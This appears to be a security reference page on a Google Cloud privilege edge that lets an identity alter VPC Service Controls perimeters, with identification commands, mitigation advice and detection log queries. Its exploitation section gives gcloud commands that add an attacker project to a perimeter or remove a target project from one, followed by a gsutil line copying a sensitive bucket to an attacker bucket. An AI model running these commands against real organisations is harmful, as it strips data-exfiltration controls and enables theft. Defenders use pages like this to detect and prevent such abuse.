Summary
| Forestall ACL Alias | GCP_BYPASS_VPC_SC |
| GCP Alias | Guardrail Bypass & Destruction |
| Affected Object Types | Organizations, Folders, Projects |
| Exploitation Certainty | Certain |
| Granting Roles | roles/accesscontextmanager.policyAdmin |
Description
GCP_BYPASS_VPC_SC indicates that an identity can modify VPC Service Controls (VPC-SC) perimeters and Access Context Manager policies. VPC-SC creates security perimeters around GCP APIs, preventing data from leaving the perimeter even if IAM allows it — it is often the primary data exfiltration guardrail in regulated environments.
An attacker with this edge can add themselves (or an attacker-controlled project) to a VPC-SC perimeter, modify ingress/egress rules, or create access levels that match the attacker’s identity. This is particularly high-impact because VPC-SC is frequently the last line of defence against data exfiltration even after IAM compromise.
Key abuse scenarios:
- Add an attacker-controlled project to the perimeter → data can now flow freely to that project.
- Remove a target project from its perimeter → all VPC-SC restrictions on that project are lifted.
- Create a permissive access level matching the attacker’s IP or identity → bypass all perimeter restrictions.
- Modify ingress rules to allow API calls from an attacker-controlled network.
Identification
gcloud CLI
# Find who has Access Context Manager policy admin at org levelORG_ID=$(gcloud organizations list --format="value(name)" | head -1)gcloud organizations get-iam-policy $ORG_ID --format=json | \ jq '.bindings[] | select(.role | test("accesscontextmanager.policyAdmin")) | {role: .role, members: .members}'
# List all VPC-SC service perimetersPOLICY_NAME=$(gcloud access-context-manager policies list --organization=$ORG_ID --format="value(name)")gcloud access-context-manager perimeters list \ --policy=$POLICY_NAME \ --format="table(name, title, status.resources, status.restrictedServices)"
# List access levels referenced by perimetersgcloud access-context-manager levels list \ --policy=$POLICY_NAME \ --format="table(name, title, basic.conditions)"GCP Console
- Open GCP Console → VPC Service Controls.
- Review all perimeters — which projects are included and which services are restricted.
- Check Access Context Manager → Access Levels for levels used in perimeter ingress/egress rules.
Exploitation
gcloud CLI
ORG_ID=$(gcloud organizations list --format="value(name)" | head -1)POLICY_NAME=$(gcloud access-context-manager policies list --organization=$ORG_ID --format="value(name)")PERIMETER_NAME="secure-perimeter"
# Add an attacker-controlled project to the perimeter — data can now flow to that projectATTACKER_PROJECT_NUMBER=$(gcloud projects describe attacker-project --format="value(projectNumber)")gcloud access-context-manager perimeters update $PERIMETER_NAME \ --policy=$POLICY_NAME \ --add-resources="projects/${ATTACKER_PROJECT_NUMBER}"Remove a target project from its perimeter to lift all VPC-SC restrictions on it:
TARGET_PROJECT_NUMBER=$(gcloud projects describe target-project --format="value(projectNumber)")gcloud access-context-manager perimeters update $PERIMETER_NAME \ --policy=$POLICY_NAME \ --remove-resources="projects/${TARGET_PROJECT_NUMBER}"
# Now exfiltrate data from the unprotected projectgsutil cp gs://sensitive-bucket/data.csv gs://attacker-bucket/Compound path: GCP_BYPASS_VPC_SC → add attacker project to VPC-SC perimeter → exfiltrate data from protected GCS buckets, BigQuery datasets, or Secret Manager secrets directly to an attacker-controlled project.
Mitigation
- Restrict
roles/accesscontextmanager.policyAdmin— this role should be held by at most one or two break-glass accounts with MFA enforcement. - Manage perimeter changes via code review — treat perimeter modifications as infrastructure code requiring peer approval before deployment.
- Use dry-run mode before enforcing any perimeter change.
- Set up Pub/Sub notifications for perimeter modification events to enable real-time detection.
Detection
| Log Type | Method | Key Fields |
|---|---|---|
| Admin Activity | UpdateServicePerimeter |
Perimeter resource, project additions/removals |
| Admin Activity | CreateAccessLevel UpdateAccessLevel |
New or modified access level |
ORG_ID=$(gcloud organizations list --format="value(name)" | head -1)gcloud logging read \ 'protoPayload.methodName=~"UpdateServicePerimeter|CreateServicePerimeter|DeleteServicePerimeter|CreateAccessLevel|UpdateAccessLevel"' \ --organization=$ORG_ID \ --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.methodName, protoPayload.resourceName)"Alert on:
- New projects added to VPC-SC perimeters outside of known deployment pipelines.
- Projects removed from perimeters.
- Access level changes that broaden the set of identities or networks that satisfy the level.
- Perimeter mode changes from
ENFORCEDtoDRY_RUN.